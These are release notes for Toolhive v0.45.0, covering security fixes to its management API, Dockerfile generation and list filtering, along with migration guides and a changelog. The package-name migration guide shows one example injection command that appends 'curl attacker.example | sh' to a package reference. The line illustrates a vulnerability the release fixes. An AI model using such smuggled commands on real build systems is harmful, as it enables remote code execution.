🚀 Toolhive v0.45.0 is live!
A security-and-supply-chain release: two coordinated fixes harden the thv serve management API and the container build path, plugin artifacts gain end-to-end Sigstore verification, and skill pushes are now signed keylessly by default. Alongside that, Prometheus metrics move to a dedicated diagnostics port behind a migration switch, the embedded auth server gains two new RFC 7523 flows, and Virtual MCP finally honours configured backend timeouts and propagates backend health changes to live sessions.
🔐 Security
- Cross-origin requests to the
thv servemanagement API are now rejected — the management API creates workloads with caller-named host bind mounts, registers MCP servers into on-disk agent configs, and installs skill artifacts, all as unauthenticated state-changing routes in the default configuration, and a cross-origin web page could drive it with a CORS "simple" POST that never triggers a preflight. This is GHSA-xv9h-79wp-q9w6. Two independent barriers are added for TCP listeners only (migration guide below). - Package names can no longer inject shell syntax into generated Dockerfiles — package names from
npx://,uvx://andgo://references were interpolated intoRUNinstructions unvalidated; they are now constrained to a character class that excludes shell metacharacters, and the two remaining bare interpolations in the templates are quoted (migration guide below). - A UTF-8 BOM can no longer smuggle a filtered list past authorization — a BOM-prefixed
tools/list/prompts/list/resources/listresponse failed every decode and sniff and passed through unfiltered, leaking entries the Cedar policy or tool filter was supposed to remove (#6304). - Non-2xx list responses are no longer delivered as HTTP 200 with an unfiltered body — under the transparent proxy, the first
Flush()committed an implicitWriteHeader(200), so a backend 500 reached the client as a 200 carrying the full unfiltered list (#6335). - Stored plugin signature material is size-capped — Sigstore bundles and git commit payloads/signatures are rejected (422) above 1 MiB rather than truncated, so a hostile repo or registry cannot push a multi-MB blob into SQLite on every install (#6399).
⚠️ Breaking Changes
thv servenow requiresContent-Type: application/jsonon state-changing requests that carry a body, and validatesOriginon loopback TCP binds — non-JSON callers get415 Unsupported Media Type(migration guide below)- Package names are constrained to
[A-Za-z0-9@/:._+=~[]-]— anpx:///uvx:///go://reference containing anything else now fails at build time instead of being interpolated into the Dockerfile (migration guide below) thv skill syncwithout--clientsnow targets every skill-supporting client — combined with the newqoderclient, every locked skill reports as drifted on the first sync after upgrading, andthv skill sync --checkexits non-zero in CI (migration guide below)runtime_config.build_withonnpx:///go://images is now a 400, andruntime_config.runtime_envis now actually applied to the built image — both were silently discarded by the workload REST API (migration guide below)thv skill pushrequires exactly one of--key,--identity-token, or--no-sign—key+no_signwas previously accepted and pushed an unsigned artifact; it is now a 400 (migration guide below)- Virtual MCP now honours
operational.timeouts— a configured value below 30 s will now actually cut backend calls that previously got the silent 30 s default (migration guide below) - Several exported Go interfaces gained required methods or changed signatures —
plugins.MaterializationAdapter,state.Storewriters,storage.UpstreamTokenStorage, and six function signatures. No effect on the CLI, the operator, the wire protocol, or persisted state (migration guide below) - The
thv llmlocal proxy returns401 token_requiredinstead of502 server_errorwhen the stored credential has been rejected by the IdP (#6389)
Migration guide: `thv serve` now requires application/json on state-changing requests
Who is affected: anything calling the thv serve management API over TCP with a POST/PUT/PATCH/DELETE that carries a body but does not set Content-Type: application/json. Studio is not affected — it runs thv serve --socket=<path>, and the UNIX-socket path skips both barriers entirely. Empty-body mutating routes (stop, restart) are unaffected, as are all GET/HEAD requests.
Two barriers were added to the middleware chain, for TCP listeners only:
- Origin validation with a loopback-only allowlist derived from the bind address — the same defence already used on the
thv proxypath. A non-loopback bind (or--port 0) yields no allowlist and passes through, matching that path's behaviour; aWARNis logged so the disabled state is visible. application/jsonenforcement on state-changing requests with a body.text/plain, the form encodings, and an absentContent-Typeare all CORS "simple" types exempt from preflight, and the handlers decoded them as JSON regardless. Requiringapplication/jsonforces a preflight the browser cannot clear. Chunked bodies (Content-Length: -1) take the strict path.
Before
# Accepted in v0.44.0 — body decoded as JSON regardless of Content-Type
curl -X POST http://127.0.0.1:8080/api/v1beta/workloads \
-d '{"name":"fetch","image":"ghcr.io/example/fetch:latest"}'After
# v0.45.0 — Content-Type is required
curl -X POST http://127.0.0.1:8080/api/v1beta/workloads \
-H 'Content-Type: application/json' \
-d '{"name":"fetch","image":"ghcr.io/example/fetch:latest"}'Migration steps
- Add
Content-Type: application/jsonto every request your client sends tothv servethat carries a body. Most HTTP clients already do;curl -dand barefetch()do not. application/json; charset=UTF-8also matches — the parameter is stripped before comparison.- If you front
thv serveon a non-loopback address, note that Origin validation is a pass-through there. Put it behind a reverse proxy that enforcesOrigin, and check for the startupWARNnaming the bind address. - If you run
thv serve --socket=<path>, nothing changes.
Fixed in commit 7f15a63 — GHSA-xv9h-79wp-q9w6
Migration guide: package names are now constrained to a safe character class
Who is affected: anyone running thv run npx://…, uvx://… or go://… with a package reference containing characters outside A-Za-z0-9 and @ / : . _ + = ~ [ ] -. In practice this is nobody using a legitimate npm scope, PyPI pin/extra, or Go module path — the allowed set was chosen to cover all three ecosystems.
The package name is interpolated into RUN instructions in npx.tmpl, uvx.tmpl and go.tmpl. Before this change nothing validated it, so a name carrying shell metacharacters could break out of the instruction and execute arbitrary commands during the image build. The two remaining bare interpolations in npx.tmpl and go.tmpl are now single-quoted as well.
Before
# v0.44.0: interpolated into `RUN npm install --save <name>` unvalidated
thv run "npx://some-pkg; curl attacker.example | sh"After
invalid package name "some-pkg; curl attacker.example | sh": only letters, digits
and the characters @/:._+=~[]- are allowed
Migration steps
- If a build starts failing with
invalid package name, check the reference for spaces, quotes,;,$, backticks, or parentheses. - Legitimate forms are all still accepted:
npx://@scope/pkg@1.2.3,uvx://pkg[extra]==1.0,go://github.com/org/mod/cmd/tool@v1.2.3,go://./local/path. - Nothing to change for existing workloads — validation runs at build time, not on stored config.
Fixed in commit 68dc1ba
Migration guide: `thv skill sync` client expansion
Who is affected: every user of thv skill sync and POST /api/v1beta/skills/sync, and most acutely CI pipelines running thv skill sync --check.
Two changes combine. entryMatchesInstalled now treats a lock entry as current only if the installed skill covers every skill-supporting client, not just the clients it was recorded against; and reinstallPinned no longer falls back to the previously recorded client list. Independently, #5870 added Qoder as the 18th skill-supporting client.
The result: any skill locked under v0.44.0 has a recorded client list that cannot contain qoder, so it is reported as drifted on the first sync after upgrade — and a bare thv skill sync will materialize it into <project>/.qoder/skills/ as well. thv skill sync --check exits with the check-failure code, so a previously green CI gate turns red purely from the upgrade.
Before
# v0.44.0 — preserved the recorded client list, reported AlreadyCurrent
thv skill sync
thv skill sync --check # exit 0After
# v0.45.0 — pass the client list you actually want
thv skill sync --clients claude-code
thv skill sync --check --clients claude-code # exit 0Migration steps
- Run
thv skill sync --checkonce after upgrading and expect drift on every locked skill. This is expected, not corruption. - Decide which behaviour you want:
- Accept the expansion — run
thv skill synconce to materialize skills into all skill-supporting clients, including the new.qoder/skills/. Subsequent--checkruns go green. - Preserve the old behaviour — pass
--clientsexplicitly on every sync (and{"clients": [...]}on the REST endpoint) so the expected set is exactly what you specify.
- Accept the expansion — run
- Update CI to whichever you chose before upgrading the runner's
thv, so the gate does not fail on the upgrade commit. - If
.qoder/skills/in a project tree is unwanted, add it to.gitignoreor constrain--clients. thv skill upgradeis unchanged — it still preserves the existing client list.
Migration guide: workload API honours all `runtime_config` fields
Who is affected: REST callers of POST /api/v1beta/workloads and the workload update endpoint that send runtime_config.
The request type is *templates.RuntimeConfig and Swagger published all four of its fields, but the service layer only ever copied builder_image and additional_packages. A caller posting runtime_config.build_with got 201 Created and a workload built with unconstrained dependencies — silently, which is exactly the failure build_with exists to prevent. runtime_env was dropped the same way.
Before
POST /api/v1beta/workloads
{"name": "x", "image": "npx://some-pkg", "runtime_config": {"build_with": ["mcp<2"]}}
→ 201 Created (build_with silently discarded, dependencies unconstrained)After
POST /api/v1beta/workloads
{"name": "x", "image": "npx://some-pkg", "runtime_config": {"build_with": ["mcp<2"]}}
→ 400 Bad Request
"build_with is not supported for npx:// builds (only uvx://)"Migration steps
- Remove
runtime_config.build_withfrom requests usingnpx://orgo://images — it was never applied. Onlyuvx://supports it. - Audit any
runtime_config.runtime_envyou were sending: it now actually lands in the built image. Keys must match^[A-Z][A-Z0-9_]*$, must not be reserved (PATH,HOME,USER,SHELL,PWD,HOSTNAME,TERM,LANG,LC_ALL,LD_PRELOAD,LD_LIBRARY_PATH), and values must not contain shell metacharacters. - Package names starting with
.or_, and names over 128 characters, now return an actionable 400 instead of a scrubbed500 Internal Server Error. The workload was never created in either case. GET → edit → PUTof a protocol-built workload now succeeds instead of returning 400 and erasing the build configuration — no action needed, but re-test any round-trip tooling.- Scripts grepping stderr for the literal
--build-withshould matchbuild_withinstead; the message is now shared by the CLI, the API, the TUI and the config file.
Migration guide: skill push signing inputs are now mutually exclusive
Who is affected: callers of POST /api/v1beta/skills/push, skillsvc.Push, and thv skill push that supplied more than one signing input.
Push previously only checked "key or no_sign". Supplying both meant no_sign silently won and the artifact was published unsigned. It is now a 400.
Before
{"reference": "ghcr.io/org/s:v1", "key": "/keys/cosign.key", "no_sign": true}
→ 200 OK (artifact pushed UNSIGNED — no_sign silently won)After
{"reference": "ghcr.io/org/s:v1", "key": "/keys/cosign.key", "no_sign": true}
→ 400 "no_sign (--no-sign) cannot be combined with key (--key) or identity_token (--identity-token)"
// Choose exactly one:
{"reference": "ghcr.io/org/s:v1", "key": "/keys/cosign.key"} // key-pair signed
{"reference": "ghcr.io/org/s:v1", "identity_token": "<raw JWT>"} // keyless
{"reference": "ghcr.io/org/s:v1", "no_sign": true} // explicitly unsignedMigration steps
- Pick exactly one of
key/identity_token/no_signper push. - Update anything matching the old error string
"signing key required"— it is now"signing credential required". - Note the related behaviour change from #6390: a bare
thv skill pushwith no flags no longer fails. In GitHub Actions withid-token: writeit signs keylessly from the ambient OIDC token; on an interactive terminal it prompts for a browser sign-in; anywhere else it fails client-side with an actionable error before anything is published. In CI and automation, pass one of the three flags explicitly rather than relying on the default.
Migration guide: vMCP backend timeouts are now honoured
Who is affected: Virtual MCP operators who set operational.timeouts.default or operational.timeouts.perWorkload. Deployments that omit operational.timeouts are unaffected — three independent 30 s fallbacks keep the default behaviour identical.
vMCP accepted the documented timeout settings but never used them for backend MCP calls; backend clients kept a hardcoded 30 s, and a separate 30 s server WriteTimeout could close a POST before a slow backend returned anything. Both are now driven by configuration.
Before
operational:
timeouts:
default: 5s # accepted, then ignored — backends actually got 30s
perWorkload:
slow-backend: 5m # accepted, then ignored — capped at 30sAfter
operational:
timeouts:
default: 30s # raise short values back to 30s to preserve v0.44.0 behaviour
perWorkload:
slow-backend: 5m # now genuinely applied — size capacity accordinglyMigration steps
- Before upgrading, record every configured value:
grep -A3 'timeouts:' <vmcp-config>orkubectl get virtualmcpserver -o yaml | grep -A5 timeouts. - Values below 30 s are the breaking direction — they now actually cut backend calls that previously got the silent 30 s. Either raise them to
30sto preserve v0.44.0 behaviour, or keep them deliberately and verify your slowesttools/callcompletes inside the window. - Values above 30 s now hold a request goroutine and an upstream connection for the full duration, and there is no validated upper bound. Size replica count and connection limits accordingly.
- Session initialization is protected:
initOneBackendusesmax(30s, requestTimeout), so a short configured value never shortens init. - Watch for
failed to <op> for backend <id> (timeout)in logs after upgrade to spot a value set too low. - Note
operational.failureHandling.healthCheckTimeoutis separate and unaffected, and the cross-pod session-restore path is still a fixed 15 s.
Migration guide: Go API changes
Who is affected: Go consumers importing ToolHive packages. None of these affect the CLI, the operator, the wire protocol, or persisted state.
| Package | Change | PR |
|---|---|---|
pkg/plugins |
MaterializationAdapter gains required EnsureRegistered(ctx, DematerializeRequest) error and Health(ctx, DematerializeRequest) error |
#6314 |
pkg/groups |
RemovePluginFromAllGroups removed (use RemovePluginFromGroup per group); AddPluginToGroup and AddSkillToGroup now return (added bool, err error) |
#6314, #6352 |
pkg/state |
Writers must implement Aborter; Close() now publishes and can fail |
#6350 |
pkg/skills |
InstallOptions.Visited removed, replaced by ExpectedCanonicalName string |
#6352 |
pkg/authserver/storage |
UpstreamTokenStorage (and transitively Storage) gains required ResolveUpstreamTokenRowID |
#6361 |
pkg/authserver/server/registration |
LoopbackClient, NewLoopbackClient, MatchRedirectURI, GetMatchingRedirectURI removed; use the free function RegisteredLoopbackRedirectURI |
#6215 |
pkg/authserver/server/registration |
ValidateDCRRequest gains an allowPrivateKeyJWT bool parameter |
#6427 |
pkg/authserver/server/tokenexchange |
ValidateTrustedIssuers and NewMultiIssuerTokenValidator gain an allowedAudiences []string parameter |
#6391 |
pkg/api/v1 |
WorkloadService.BuildFullRunConfig gains a fourth parameter |
#6214 |
cmd/thv-operator/pkg/validation |
ValidateRemoteURL(rawURL string) → ValidateRemoteURL(rawURL string, opts ValidateRemoteURLOptions) |
#6195 |
Two of these deserve concrete code:
pkg/state — writers must abort, and Close() publishes
LocalStore writers now write to a temp file and publish atomically on Close (os.Rename for GetWriter, os.Link for CreateExclusive). Three consequences: the target name does not exist until Close; Close returns real errors that must be handled; and CreateExclusive conflicts surface from Close rather than from the call itself.
Aborter is documented as required but enforced only at runtime — a Store whose writer lacks Abort() still compiles, and every abandon path then returns "state writer does not support abort" and leaks the file handle. Add a compile-time assertion.
// Before
writer, err := store.GetWriter(ctx, name)
if err != nil { return err }
defer func() {
if err := writer.Close(); err != nil { slog.Warn("failed to close writer", "error", err) }
}()
if _, err := writer.Write(data); err != nil { return err }
return nil
// After
var _ state.Aborter = (*myWriter)(nil) // catch a missing Abort() at compile time
writer, err := store.GetWriter(ctx, name)
if err != nil { return err }
closed := false
defer func() {
if !closed {
if err := state.AbortWriter(writer); err != nil {
slog.Warn("failed to abort writer", "name", name, "error", err)
}
}
}()
if _, err := writer.Write(data); err != nil { return err }
if err := writer.Close(); err != nil { // this is the publish — must be returned
closed = true
return fmt.Errorf("failed to close writer: %w", err)
}
closed = true
return nilpkg/plugins — two new adapter methods
// EnsureRegistered re-applies only the client-config registration, without
// re-extracting files. Must be idempotent.
func (a *MyAdapter) EnsureRegistered(ctx context.Context, req plugins.DematerializeRequest) error {
dir, err := a.paths(req)
if err != nil { return err }
return a.writeRegistration(req.Name, dir)
}
// Health is a presence check only — do not hash file contents into a digest.
func (a *MyAdapter) Health(ctx context.Context, req plugins.DematerializeRequest) error {
dir, err := a.paths(req)
if err != nil { return err }
if _, err := os.Stat(dir); err != nil {
return fmt.Errorf("plugin directory missing: %w", err)
}
return a.registrationPresent(req.Name, dir)
}Migration steps
- Regenerate mocks with
task genafter updating any implementation. - For
UpstreamTokenStorage, return a deterministic, non-empty, side-effect-free ID derived from your key scheme, and do no I/O — resolution happens before the singleflight joins, so a round-trip defeats the dedup. Never alias rows that are not physically the same row. - For
RegisteredLoopbackRedirectURI, note the changed return semantics: the old method returned the requested URI (dynamic port preserved); the new function returns the registered URI. Keep your own requested value if you need the port. - Move any
httperr.Code(err) == http.StatusConflictcheck from theCreateExclusivecall site to theClose()call site.
🔄 Deprecations
/metricson the transport port is deprecated in favour of the dedicated diagnostics listener (default port9464) — the transport-port copy still serves by default in v0.45.0 viametricsOnTransportPort, but that default will flip in a future release (#6296, #6370, #6371, #6368)
Deprecation detail: moving Prometheus metrics to the diagnostics port
Existing scrape configurations keep working in v0.45.0. DefaultMetricsOnTransportPort is true and the field is a *bool with no CRD default, so an unset value inherits the release default and is not pinned into stored config. Metrics are simply served in two places during the migration window.
Why the move: /metrics shared the port that serves MCP traffic, which the operator binds to 0.0.0.0 and the Service maps. Kubernetes NetworkPolicy matches on pods, ports and protocols and cannot filter on HTTP path, so while the endpoint shares the transport port there is no way to express "allow MCP traffic, deny metrics scraping". Note the move adds no authentication — the diagnostics listener carries no middleware by design, and restricting who can reach the port is what protects it.
Cutting over
# CLI
thv run --otel-metrics-on-transport-port=false …# Operator — MCPTelemetryConfig
spec:
prometheus:
metricsOnTransportPort: false
# Operator — VirtualMCPServer (inline)
spec:
config:
telemetry:
metricsOnTransportPort: false
prometheusPort: 9464 # vMCP only; MCPServer/MCPRemoteProxy are fixed at 9464- Point your scraper at the diagnostics port (
9464unless overridden) and confirm metrics arrive. - Set
metricsOnTransportPort: falseand confirm nothing else was still scraping the transport port. - Leave it unset if you want to inherit the new default automatically when the window closes; set it explicitly only to opt out of that change.
- Restrict the diagnostics port with a
NetworkPolicy— seedocs/observability.md. It binds0.0.0.0under the operator, so any pod in the cluster can reach it by pod IP until you do. Do not add it to a Service or Ingress. - Because no
containerPortor Service port is declared,ServiceMonitor/named-portPodMonitordiscovery will not find it — scrape withkubernetes_sd_configsrole: podand an explicit__address__relabel to:9464. - Expect a new startup WARN on every metrics-enabled workload naming the diagnostics address, and a
404on the transport port once you opt out (the body explains itself and names the log line to grep for).
One genuinely breaking side effect, still present: when ToolHive metrics are not served on the transport port, /metrics now returns 404 on the application listener instead of falling through to the backend. Under the transparent proxy — remote servers via thv run <url> / MCPRemoteProxy, and container sse/streamable-http workloads — a backend that exposed its own /metrics through the ToolHive proxy is no longer reachable there. Scrape such backends directly instead.
📋 Upgrade Notes
kubectl applyof the rawvirtualmcpserversCRD exceeds the 262144-byte annotation limit. This is pre-existing (it was already over at v0.44.0) rather than introduced here, but #6183 grew themcpserversandmcpremoteproxiesCRDs ~2.5× by expanding thecorev1.Affinityschema, so it is worth stating plainly.helm install/upgradeand Flux are unaffected; Argo CD with the default client-side apply is not. Usekubectl apply --server-side --force-conflicts -f <crd-dir>, or addServerSideApply=trueto the Argo CDApplication'ssyncOptions.- #6379 makes
MCPServerreadiness honest. A server whose workload StatefulSet was deleted out-of-band previously reportedReady=Truewhile clients hit a dead backend; it now reportsPending/Ready=Falseand is auto-healed by bouncing the proxy (2-minute cooldown). Only already-broken servers are affected, butkubectl wait --for=condition=Readyand Argo/Flux health checks will now correctly show them as not ready. The operator also adopts a controller owner-ref on that StatefulSet — adoption is metadata-only and causes no pod churn, but deleting anMCPServernow garbage-collects its StatefulSet even if the finalizer does not run. - #6426 turns a previously silent misconfiguration into a reconcile error — confidential or delegate clients with a plain-HTTP non-loopback issuer now fail reconciliation instead of reconciling green and then crashlooping.
- If your auth-server replicas share Redis, finish the rolling upgrade before enabling
allowPrivateKeyJwtRegistration— a v0.44.0 replica silently drops the newjwksfield when reading a row a v0.45.0 replica wrote. - All CRD changes in this release are additive or relaxing — no field was removed, renamed or retyped in any of the 14 CRDs across both served versions. Apply the updated CRDs as part of the normal operator upgrade.
🆕 New Features
- Trusted external workloads can obtain MCP access tokens with a signed RFC 7523 assertion, without registering a ToolHive OAuth client — per-issuer policy, replay-safe memory and Redis storage, and audience/subject/resource binding (#6391)
- Delegate clients can authenticate with
private_key_jwt(RFC 7523 §2.2) instead of a shared secret, generating their own keypair and registering only the public half (#6427) - Trusted issuers can authorize external-actor delegation with a CEL expression over the token's full verified claims, so role- or group-based trust no longer needs an operator to edit an allowlist for every new value (#6364)
- The MCPServer proxy Deployment can be steered onto specific nodes with
nodeSelector,tolerationsandaffinityunderresourceOverrides.proxyDeployment, so the proxy lands on the same pre-warmed pool as its server (#6183) MCPServerEntryandMCPRemoteProxygainspec.allowPrivateEndpoint, letting a Virtual MCP reach a co-located in-cluster backend in-mesh so the backend's workload-identity authorization still applies — loopback, link-local, cloud-metadata andkubernetes.default*stay blocked regardless (#6195)- Prometheus metrics are served on a dedicated diagnostics listener (default
9464) for both the proxy and Virtual MCP, so access can be governed by port with aNetworkPolicy(#6296, #6368), reachable from the CLI via--otel-metrics-on-transport-portand from the operator viaprometheus.metricsOnTransportPort(#6371) - Operators can now distinguish a rate-limit dependency failure from an enforcement outcome — the new
toolhive_rate_limit_fail_open_totalcounter and arate_limit.fail_openspan attribute record when a check failed open after a Redis error (#6282) thv skill pushsigns keylessly by default: the CLI acquires an OIDC identity token (GitHub Actions ambient token in CI, browser sign-in on a terminal) and the server exchanges it with Fulcio and records a Rekor entry (#6385, #6390); release pushes in CI are signed rather than carrying the old--no-signstopgap, and a new staging job verifies the result with stockcosign(#6402)- A skill's very first install is no longer trust-on-first-use — when it resolves through the catalog and the entry declares a
provenance, that becomes the expected signer identity (#6420) - AI plugins gain a project lock file and Sigstore verification, behind
TOOLHIVE_PLUGINS_LOCK_ENABLED=trueand inert by default: project installs pin intotoolhive.lock.yaml(#6314),thv ai-plugin syncrestores and drift-checks them (#6316),thv ai-plugin upgradeadvances a pin under review (#6317), bundles and git signatures are persisted (#6396), signatures are verified at install (#6397), and stored signatures are re-verified offline on every sync (#6399) thv client register qoderconfigures Qoder IDE for MCP server integration and skill installation (#5870)kubectl get mcpgroupshows a Proxies column fromstatus.remoteProxyCount, so a group made entirely ofMCPRemoteProxymembers no longer looks empty (#6376)
🐛 Bug Fixes
- Virtual MCP client sessions now receive
notifications/tools/list_changedand an updatedtools/listwhen a backend recovers or fails health checks, instead of serving the registration-time snapshot until reconnect — note that tools can now also disappear mid-session, since resync uses replace semantics (#6196) - Virtual MCP reuses tool embeddings across sessions instead of re-embedding the whole catalogue on every connect — measured on 140 aggregated tools, warm sessions drop from 16–19 s to sub-second with zero embedding calls (#5996)
- Virtual MCP honours the configured
operational.timeoutsfor backend calls, and no longer tears down a slow POST at the 30 s server write deadline (#6411) - Native MCP clients registered through DCR (VS Code, Claude Code) can complete the authorization flow against the embedded auth server — a portless
http://localhost/callbackregistration listening on an ephemeral port was rejected as aredirect_urimismatch, and OAuth errors now reach the client's real listener (#6215) - A refresh token can no longer be redeemed twice by callers that resolve to the same storage row under different session IDs, which could trigger IdP replay detection and revoke the credential family (#6361)
- A refresh token the IdP has rejected now surfaces as an actionable "log in again" error naming
thv llm setup, instead of an opaqueinvalid_grantthat every consumer read as a transient provider fault and retried forever (#6389) - Delegate clients can use a loopback HTTP issuer when
insecureAllowConfidentialOverLoopbackHTTPis explicitly enabled, unblocking local development; non-loopback HTTP issuers remain rejected (#6426) - Local state writes are atomic — a crash or error mid-write no longer leaves a truncated state file, and
CreateExclusive's exists-check and creation are no longer racy (#6350) kubectl rollout restarton ToolHive proxy Deployments and MCPServer workload StatefulSets is honoured instead of being reverted on the next reconcile (#6378)- A deleted MCPServer workload StatefulSet is recreated, and
Readyis no longer claimed on a proxy-only stack serving a dead backend (#6379) unix://socket URLs round-trip correctly on Windows — POSIX paths no longer gain a fourth slash, and drive-letter paths parse instead of being rejected as not absolute (#6416)thv skill syncandthv skill upgradere-read each skill under its lock before classifying or mutating, so a concurrent uninstall is not resurrected and a newer install is not overwritten (#6352)- A UTF-8 BOM on a list response no longer bypasses authz and tool-filter list filtering (#6304)
- A non-2xx list response is no longer rewritten to HTTP 200 with an unfiltered body (#6335)
- The workload REST API honours all four
runtime_configfields instead of silently droppingbuild_withandruntime_env(#6214) - Plugin uninstall now fails retryably on a group-cleanup error with the install intact, instead of succeeding with leaked group memberships (#6314)
- The
/metricsendpoint move is diagnosable: the dead endpoint returns an explanatory 404 body and the startup line is aWARNnaming the resolved diagnostics address (#6369) - Transport-port metrics are restored behind
metricsOnTransportPort, defaulting to on, so no existing scrape configuration breaks on upgrade (#6370)
🧹 Misc
- Skill artifact signing switched to
toolhive-core'scontainer/signer, deleting the local duplicate that only ever supported key-pair signing (#6383) - Fixed a flaky
close of closed channelpanic in the vMCP backend session tests that aborted the whole test binary and surfaced as unrelated failures (#6363) - Local
task test-e2eruns sweep workloads leaked by a Ginkgo timeout-kill, which had been exhausting the Docker network address pool (#6367) - The vMCP dual-era e2e specs run under the spec-required
Accept: application/json, text/event-streamheader (#6123) - Pinned
golangci-lintto v2.12.2 to avoid an upstreamnilnessanalyzer panic that was failing CI onmain(#6393) - The
GO-2026-5932openpgp suppression now names a checkable removal trigger and records why the dependency cannot be fixed locally (#6286) - Five documented paths now point at the files they were renamed to (#6388)
📦 Dependencies
| Module | Version |
|---|---|
github.com/moby/go-archive |
v0.3.0 |
github.com/stacklok/toolhive-catalog |
v0.20260824.0 |
anthropics/claude-code-action |
v1.0.205 |
Also bumped as part of feature work: github.com/stacklok/toolhive-core to v0.0.41 (#6383) and v0.0.42 (#6420) — the latter migrated cel to the renamed cel.dev/cel-go module.
👋 Welcome to our newest contributors: @TANTIOPE, @haaaashimi, @RaviTharuma, @premctl, @melbinjp, @christensenjairus, @talshechanovitz 🎉
Full commit log
What's Changed
- fix(authz): commit recorded status before flushing in ResponseFilteri… by @Yanhaoxi in #6335
- Strip leading UTF-8 BOM before filtering list responses by @Yanhaoxi in #6304
- Guard test backend ready channel against double close by @jhrozek in #6363
- Serve Prometheus metrics on a separate diagnostics listener by @amirejaz in #6296
- Bump github.com/moby/go-archive from 0.2.0 to 0.3.0 by @dependabot[bot] in #6372
- Sweep leaked workloads after local e2e runs by @jhrozek in #6367
- Update anthropics/claude-code-action action to v1.0.195 by @renovate[bot] in #6338
- Update module github.com/stacklok/toolhive-catalog to v0.20260817.0 by @renovate[bot] in #6375
- Fix atomic local state writes by @jhrozek in #6350
- Add CEL actor matching for trusted issuers by @jhrozek in #6364
- Deduplicate refreshes by storage row by @jhrozek in #6361
- Honor all runtime_config fields over the workload API by @jhrozek in #6214
- Accept localhost dynamic-port loopback redirect_uris by @jhrozek in #6215
- Reuse tool embeddings across sessions by @TANTIOPE in #5996
- Record plugin installs in the project lock file by @samuv in #6314
- Switch skill artifact signing to toolhive-core's signer by @samuv in #6383
- Name the concrete removal trigger for the openpgp exclusion by @samuv in #6286
- Rate limiting observability (metrics and tracing) PR C by @Sanskarzz in #6282
- Add plugin lock-file sync by @samuv in #6316
- Make the metrics endpoint move discoverable by @amirejaz in #6369
- Add Qoder IDE as a supported MCP client by @haaaashimi in #5870
- Serialize skill sync and upgrade under the lock by @samuv in #6352
- Pin golangci-lint to avoid nilness panic on main by @samuv in #6393
- Add plugin lock-file upgrade by @samuv in #6317
- Add JWT-bearer assertion grant by @jhrozek in #6391
- Restore transport-port metrics behind a migration switch by @amirejaz in #6370
- Plumb an identity token through skill push for keyless signing by @samuv in #6385
- fix(operator): add MCPGroup Proxies printer column by @RaviTharuma in #6376
- Allow opt-in private endpoints for remote URLs by @premctl in #6195
- fix(operator): honor kubectl rollout restart on ToolHive workloads by @RaviTharuma in #6378
- fix(operator): recreate deleted MCPServer StatefulSet by @RaviTharuma in #6379
- Add CLI identity-token acquisition for keyless skill push by @samuv in #6390
- Enable keyless signing for CI skill pushes by @samuv in #6402
- Report a rejected stored credential as re-login required by @aponcedeleonch in #6389
- Resync session tools when backend health changes by @premctl in #6196
- Point five stale doc paths at the moved files by @melbinjp in #6388
- Check first skill install against catalog-declared provenance by @samuv in #6420
- Update module github.com/stacklok/toolhive-catalog to v0.20260824.0 by @renovate[bot] in #6422
- Fix Windows unix socket URL round-trip by @stantheman0128 in #6416
- Update anthropics/claude-code-action action to v1.0.205 by @renovate[bot] in #6412
- Store plugin sigstore bundles, carry git signature by @samuv in #6396
- Allow loopback delegate clients by @jhrozek in #6426
- Honor configured vMCP backend timeouts by @christensenjairus in #6411
- Serve vMCP metrics on a separate diagnostics listener by @amirejaz in #6368
- Add private_key_jwt DCR client authentication by @jhrozek in #6427
- Verify plugin signatures at install time by @samuv in #6397
- Expose the metrics migration switch to CLI and operator by @amirejaz in #6371
- feat(operator): allow pod scheduling on the proxy Deployment via resourceOverrides by @talshechanovitz in #6183
- Use conformant Accept in dual-era e2e by @kocaemre in #6123
- Re-verify stored plugin signatures during sync by @samuv in #6399
- Release v0.45.0 by @toolhive-release-app[bot] in #6436
New Contributors
- @TANTIOPE made their first contribution in #5996
- @haaaashimi made their first contribution in #5870
- @RaviTharuma made their first contribution in #6376
- @premctl made their first contribution in #6195
- @melbinjp made their first contribution in #6388
- @christensenjairus made their first contribution in #6411
- @talshechanovitz made their first contribution in #6183
Full Changelog: v0.44.0...v0.45.0
🔗 Full changelog: v0.44.0...v0.45.0